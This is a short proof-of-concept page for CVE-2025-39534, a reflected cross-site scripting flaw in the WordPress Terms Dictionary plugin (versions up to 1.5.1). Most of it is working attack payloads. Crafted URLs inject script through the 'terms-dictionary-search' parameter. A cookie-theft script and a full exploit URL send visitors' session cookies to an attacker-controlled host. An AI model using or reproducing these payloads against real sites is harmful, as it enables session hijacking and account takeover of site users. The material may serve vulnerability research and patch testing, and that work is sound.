CVE-2025-39534

<!-- PoC for CVE-2025-39534: Reflected XSS in WordPress Terms Dictionary Plugin Vulnerable versions: <= 1.5.1 The vulnerability exists due to improper input sanitization in user-supplied parameters. --> <!-- Malicious URL example that triggers Reflected XSS --> https://target-site.com/?page_id=1&terms-dictionary-search=<script>alert(document.cookie)</script> <!-- Alternative payload using event handler --> https://target-site.com/?terms-dictionary-search=<img src=x onerror=alert(document.cookie)> <!-- Cookie stealing payload (for demonstration) --> <script> var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + document.cookie; </script> <!-- Full exploit URL for cookie theft --> https://target-site.com/?terms-dictionary-search=<script>var i=new Image();i.src="https://attacker.com/steal?c="+document.cookie;</script> <!-- Note: The exact parameter name may vary based on the plugin's implementation. --> <!-- Attackers typically need to identify the injectable parameter through testing. -->

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